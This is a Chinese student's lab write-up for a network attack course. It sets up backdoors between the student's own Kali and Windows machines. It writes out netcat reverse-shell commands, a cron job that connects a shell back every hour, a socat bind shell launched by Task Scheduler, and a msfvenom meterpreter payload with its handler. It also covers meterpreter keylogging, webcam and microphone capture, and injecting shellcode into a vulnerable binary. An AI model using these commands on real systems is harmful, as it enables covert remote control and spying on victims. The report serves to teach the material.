2019-2020-3 20174318张致豪《网络对抗技术》Exp2 后门原理与实践

  • 2020 年 3 月 13 日
  • 笔记

Exp2 后门原理与实践

前期准备


一、实验目标与基础知识

1.1 实践目标

 

  • 使用netcat获取主机操作Shell,cron启动

  • 使用socat获取主机操作Shell,任务计划启动

  • 使用MSF  meterpreter(或其他软件)生成可执行文件,利用ncatsocat传送到主机并运行获取主机Shell

  • 使用MSF meterpreter或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

1.2 基础知识

1. 什么是后门?

后门是指绕过安全性控制而获取对程序或系统访问权的方法。

2. 常用后门工具

Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。

Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。

Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。

PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。

InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。

Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。

二、软件下载 & 功能测试

2.1在windows下载 Netcat & Socat

        从老师所给指导的附件里下载 Netcat 与 Socat 文件,在本机解压后放置到相应的文件夹。

    这里我把 Netcat 文件夹放置到了系统文件目录里,即 C 盘里的 system32 目录,放置在这里有个好处就是我们使用 cmd 运行 Netcat 的命令时,不必在原本下载的目录里运行,也不必以 ncat.exe 的形式运行,直接 cmd 打开输入 ncat 就能跑,虽然也节省不了多少时间。

    在本机命令行里直接输入 ncat ,若能返回提示需指定要连接的主机,则说明 Netcat 载入好了。同理,运行 socat.exe ,返回相关提示即可。

2.2 Win获得 Linux Shell

在 Windows 的 cmd 中使用 ipconfig 查看本机 ip 地址,发现 Windows 端 ip 为192.168.0.105

 Windows 端继续,使用 ncat 程序监听本机的 4318 端口号,输入 ncat -l -p 4318 ,l 指 listen ,即监听

接下来,在 kali 中反弹连接 Windows 的 4318 端口,ncat 192.168.0.105 4318 -e /bin.sh,使用 -e 选项执行shell程序

返回 Winodws 端的命令行,发现 kali 机被攻击成功,在 Windows 中获取了 kali 的 shell

2.2 Linux 获得 Windows Shell

在 kali 的终端中输入 ifconfig 查看 Linux 端 ip 地址,发现 ip 为 192.168.0.106

 kali 中终端输入 nc -l -p 4318 ,监听本机 4318 端口

在 Windows 中反弹连接 kali 的 4318 端口,ncat 192.168.0.106 4318 -e /bin.sh,这里的 ip 地址应为 kali 机的 ip

返回 kali 的终端,发现 Windows 机被攻击成功,在 kali 中获取了 Windows 的 shell

2.3 使用 Ncat 传输数据

在安装了 Netcat 的主机里,都可以进行连接,这里我们选择 kali 连接到 Windows

首先在 Windows 下监听 4318 端口,输入 ncat -l 4318

kali 反弹连接到 Windows 的 4318 端口 ,终端输入 nc 192.168.0.105 4318 ,这里的 ip 地址为 Win 端的

等待小会儿后,连接成功,双方可以进行相互通信

2.4 使用 Ncat 传输文件

连接的双方,同样可以进行文件的传输,我们选择把文件从 kali 传到 Windows

首先,Windows 端监听本机 4318 端口,并把收到的数据保存到 file1.out 中,cmd 中输入ncat -l 4318 > file1.out

 

 接下来,kali 反弹连接到 Windows (ip)的 4318 端口,并将 kali 端的文件 file1.in 传输过去,终端输入 nc 192.168.0.105 4318 < file1.in

返回 Windows 端,在文件夹中若能找到文件 file1.out ,表明接收成功

实验步骤


一、使用 Netcat 获取主机操作 Shell ,cron 启动

Step
    • Windows cmd 内输入ncat -l -p 4318
    • kali 终端里输入crontab -e 
    • 在编辑器内按 i 进入添加状态,在最后一行添加 43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh

详细解析:

首先,在 Windows 端内监听本机的 4318 端口,输入ncat -l -p 4318 后该命令行窗口进入监听状态

接下来,在 kali 端内编辑一条定时任务,终端输入 crontab -e ,这里 crontab&nbsp;表示增加一条定时任务,-e 表示进入编辑状态

在选择了 vim 编辑器进行编辑后,进入 vim 端,在最后一行添加43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh意思是,每个小时的第 43 分钟反向连接 Windows 主机的 4318 端口

等待 1 分钟到了 43 分后,我们就发现此时 Windows 已经获取了 kali 的 Shell 

二、使用 Socat 获取主机操作 Shell ,任务计划启动

Step
    • Win+R 输入 compmgmt.msc 
    • 在任务计划程序中创建任务并设置触发器、新建任务操作
    • 实施之前所设置的触发器
    • kali 端输入指令socat - tcp:192.168.0.105:4318

详细解析:

首先,Windows端键盘点击Win+R 输入 compmgmt.msc 打开“计算机管理”

在“任务计划程序”中点击“创建任务”

 填写新建任务的名称,并新建一个触发器

在操作->新建->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4318 exec:cmd.exe,pty,stderr,这个命令的作用是把 cmd.exe 绑定到端口 4318 ,同时把 cmd.exe 的 stderr 重定向到 stdout 上

创建完毕后,新建任务进入准备状态

然后,实施我们的触发条件,锁定 Windows 计算机,再次打开计算机时,我们创建的任务就已经开始运行了,此时会弹出一个 cmd 窗口,表明 socat 程序开始运行。

切换到 kali 中输入输入指令 socat - tcp:192.168.0.105:4318,这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 4318 端口,此时可以发现已经成功获得了 cmd shell

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

Step
    • kali 终端内输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
    • Windows端输入 ncat -lv 4318 > 20174318_backdoor.exe
    • 在Linux中执行 nc 192.168.0.105 4318 < 20174318_backdoor.exe
    • kali 端输入指令 msfconsole
    • 依次输入以下指令
      • use exploit/multi/handler
      • set payload windows/meterpreter/reverse_tcp
      • set LHOST 192.168.0.106
      • set LPORT 4318
      • exploit
    • Windows 下运行 20174318_backdoor.exe

详细解析: 

首先,在 kali 内生成后门程序,并设定为控制端,在终端输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe, ip 地址为控制端的 ip

接着,在 Windows 通过 ncat.exe -lv 4318 > 20174318_backdoor.exe 指令使本机进入接受文件模式

在 kali 中执行 nc 192.168.0.105 4318 < 20174318_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP,将后门程序传送过去

 Windows 接收程序成功 

之后,在kali上使用 msfconsole 指令进入msf控制台,并依次输入以下指令

    • 输入use exploit/multi/handler使用监听模块,设置 payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的 payload
    • set LHOST 192.168.0.106,这里用的是 kali 的 ip,和生成后门程序时指定的 ip 相同
    • set LPORT 4318,同样要使用相同的端口

设置完成之后,输入指令exploit执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

 

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

Step
    • 输入 record.mic 
    • 输入 webcam_snap
    • 输入 keyscan.start & keyscan_dump
    • 输入 screenshot 
    • 输入 getuid & getsystem 

详细解析:

 使用 record_mic 指令可以截获一段音频

使用webcam_snap指令可以使用摄像头进行拍照

使用keyscan_start 指令记录下击键的过程,keyscan_dump 指令读取击键记录

使用screenshot指令可以进行截屏

 使用 getuid 指令可以查看当前用户,getsystem 指令进行提权操作,但未实现

五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

Step
    • 在 kali 终端里注入 shellcode
    • 参照实验一步骤三找到 shellcode 起始位置
    • 修改 shellcode
    • 在另一终端中打开 msfconsole ,与步骤三一样操作打开监听
    • 返回原来终端输入:(cat input1;cat) | ./pwn1

详细解析: 

 在测定可以用的 shellcode 网站中找到一个基于 linux/x86 平台的shellcode代码,将里面的机械码复制出来。

 原始代码如下:

"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"

 为了找到 shellcode 的起始地址,我们参照实验一的做法,首先基于该原始代码,注入一段用于查找的 shellcode

 经过实验一中 gdb 、反汇编等一系列操作后,我们找到了 0x90x90x90x90 的位置

从而计算出该 shellcode 的起始位置为 0xffffd1c0 ,接下来只需修改 shellcode 的代码即可

然后,在另一个终端中打开 msfconsole ,并打开监听,参照步骤三的过程,依次输入以下指令

  • use exploit/multi/handler
  • set payload linux/x86/shell_reverse_tcp
  • set LHOST
  • set LPORT4444 
  • exploit

其中,LHOST 和 LPORT 都是根据网上下载的可用的 shellcode 的标注填写的

最后,在原本的终端里输入指令:(cat input_shellcode;cat) | ./pwn1,按下回车键后开始运行,在另一个终端中就发现注入的shell开始运行了

实验总结


一、基础问题回答 

(1)例举你能想到的一个后门进入到你系统中的可能方式?

‘后门可能会通过网页挂马的方式,当我们点击不安全的网页链接时,自动跳转并下载在我们主机,然后隐藏在系统自启动目录里’

(2)例举你知道的后门如何启动起来( win 及 linux )的方式?

‘ win:通过点击钓鱼网站链接;添加自启动代码,每次开机自启

   linux:通过本实验中的 crontab 命令设置定时或其他触发器启动’

(3)Meterpreter有哪些给你映像深刻的功能?

‘能够抓拍、录入声音、截图、获取键盘输入记录给我留下了深刻的印象,这些都是能极度威胁我们隐私的行为,让我觉得没有安全可言’

(4)如何发现自己有系统有没有被安装后门?

‘利用 netcat 查看有没有开放异常的端口;系统杀毒软件的检测提示;任务管理器查看异常进程’

二、实验总结与体会

    本次实验做起来就和大二上学期的信息安全概论实验一样,通过指令在两个终端内随意传输数据、文件,让人觉得计算机系统没有安全可言,虽然实验中都是我们自己操作被攻击方运行攻击方的程序,但也给我提了一个醒,因为实施攻击的人总是会千方百计的让你去运行它的恶意程序,后门就是一个不容易引起我们注意的方式,所以我们得在强化自身防范意识的同时,增强自身相关的知识积累,说不定什么时候就能派上用场了。

    与实验一比起来,本次实验遇到了更多的问题,但好在都是比较常见的,参考老师的演译视频与其他同学的博客以及网上的资料,成功的完成了本次实验,下面我就来分享一下我所遇到的问题。

  • Netcat 只能单方向连接

在刚安装好 netcat 时,进行 Windows 获得 Linux Shell 测试时,Win 端的 cmd 进入监控状态后,kali 端反弹连接始终无法成功,Linux 的 nc 返回 TIMEOUT 的错误,与老师视频或其他同学的错误目标主机积极拒绝不同。但是我反过来试让Linux 获取 Windows Shell 却能成功,我尝试着关闭了 Windows 主机的防火墙与杀毒软件,但都未遂;不知所措的我开始了下一步操作,让 Windows 和 Linux 建立连接传数据,结果 Linux监听, Windows 反弹连接能通信成功,换成Windows端监听, Linux 端去反弹又不能成功了。我便怀疑是不是 Windows 端的 ip 地址错误、端口没有打开或者 Linux 端防火墙给阻断了,操作了一通后最终解决了这个问题,只不过我也不清楚到底是哪一步操作把它给弄好了。(Linux 端反弹连接错误忘截图了,大概是输入“nc 192.168.0.105  4318  -e  /bin/sh”终端返回“nc: TIMEOUT”)

  • msfconsole 指令无法打开 msf 

 问题如上所示,与其他大部分同学无法启动 msf 的返回错误不同,它给我的返回信息时让我下载 bundler ,照着它的要求我试着下载了 bundler(apt-get install bundler 步骤未截图,自动更新到了 bundler 2.1.3),结果出现了新的问题

巴拉巴拉一大堆,让我 root 模式不要运行 bundler,不明所以的我只好寻求网络的帮助,给的建议是下载 bundler 1.17.3 版本

结果这样就成功了

  • 使用 MSF 生成的 Shellcode 注入到 pwn1 运行后返回段错误

这个错误犯得特别低级,我默认以为这一段 Shellcode 的起始地址就是我第一次实验时的那一段 Shellcode 的地址,直接就填上去了,试了好几次发现返回都是段错误,才意识到哪儿错了。